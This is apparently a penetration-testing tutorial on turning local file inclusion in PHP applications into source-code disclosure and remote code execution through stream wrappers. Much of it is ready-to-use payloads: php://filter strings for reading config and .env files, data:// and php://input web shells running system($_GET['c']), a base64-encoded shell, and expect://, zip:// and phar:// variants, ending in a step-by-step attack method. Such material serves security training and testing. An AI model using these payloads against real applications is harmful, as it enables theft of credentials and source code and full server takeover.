PHP wrappers are stream handlers that let you read, transform, or even execute content via special URIs (php://, data://, expect://, etc.). On an LFI with a vulnerable PHP function, wrappers are the fastest path from “read a file” to “RCE”.

php://filter — Source Code Disclosure

The classic. When an app appends .php to your input, you can’t read PHP source files directly — the server executes them instead of returning the raw code. php://filter applies a transformation (like base64 encoding) that returns the file encoded rather than executed:

?file=php://filter/read=convert.base64-encode/resource=config

(Assume the app appends .php — the real target becomes config.php.)

Breakdown:

  • php://filter/ — invokes the PHP filter stream wrapper
  • read=convert.base64-encode — base64-encodes the file on the way out
  • resource=config — the target file; .php auto-appended makes it config.php

The response contains the file’s base64-encoded source. Decode locally:

echo 'PD9waHAKJGRi...SNIP...' | base64 -d

Copy the full base64 string

The encoded output can be huge. View page source to copy all of it — truncation means your decode fails.

What to Read First

Every PHP app has standard files worth disclosing:

resource=config                 # custom config
resource=.env                   # env file (Laravel, modern PHP)
resource=../../config           # if config lives above web root
resource=index                  # entry point — often reveals routing, auth
resource=includes/db            # common DB config pattern
resource=admin/login            # admin panel source

Variant Filters

Instead of base64, you can use:

read=string.rot13              # ROT13 — same bypass, different encoding
read=convert.quoted-printable-encode
read=zlib.deflate              # requires decompressing afterward

Useful when the filter blacklist strips base64 specifically.

Chaining Filters

Multiple filters can be chained in sequence:

?file=php://filter/convert.base64-encode|convert.base64-encode/resource=config

Double-encodes — useful when the response is partially processed before you see it.

data:// — Direct RCE via Payload

The data:// wrapper lets you embed the “file contents” directly in the URL. Combined with an include() sink, it means you can supply PHP code inline:

?file=data://text/plain,<?php system($_GET['c']); ?>&c=id

The URI payload becomes the “file” that’s included and executed. Instant RCE.

Base64 variant — useful when <, >, ? are filtered:

?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOyA/Pg==&c=id

The base64 above decodes to <?php system($_GET['c']); ?>.

Prerequisites:

  • allow_url_include = On in php.ini (default is Off in modern PHP)
  • Function that executes (not just reads)

php://input — RCE via POST Body

If allow_url_include = On but data:// is filtered, read the raw POST body as a file:

POST /index.php?file=php://input HTTP/1.1

<?php system($_GET['c']); ?>

PHP treats the POST body as the “file” being included. Send PHP code in the body, use GET params for commands.

expect:// — Direct Command Execution

If the Expect extension is loaded (rare in default installs but common in some hardened images), you can execute shell commands directly:

?file=expect://id

The command’s output is returned. Fastest RCE path when available, but requires the Expect PECL extension.

zip:// — Execute Code From Uploaded Zip

Upload a zip containing a PHP file, then include it:

?file=zip:///tmp/upload.zip%23shell.php

The # (URL-encoded as %23) separates the archive from the inner file. Useful when include() is strict about extensions but zip:// isn’t filtered.

phar:// — Deserialization via Phar

Similar idea with Phar archives — sometimes bypasses filters that block zip://:

?file=phar://upload.phar/shell.php

Phar also exposes PHP object deserialization on read-only functions (file_exists, fopen), opening injection paths on apps that wouldn’t otherwise seem vulnerable.

When Wrappers Fail

  • allow_url_include = Off → data://, php://input don’t work for execution (but php://filter still does for reading)
  • open_basedir restricts filesystem access → wrappers can’t reach restricted paths
  • Function is file_get_contents not include → read-only; use wrappers for disclosure only
  • Modern PHP (≥ 7.4) restricts some wrappers by default

Methodology

  1. Try php://filter/read=convert.base64-encode/resource=index first — confirms wrapper support
  2. If it works, enumerate source code for every file you can find
  3. From source, learn credentials, paths, next-step files
  4. Try data:// or php://input for direct RCE
  5. If allow_url_include = Off, pivot to log poisoning or session file RCE (see LFI to RCE section)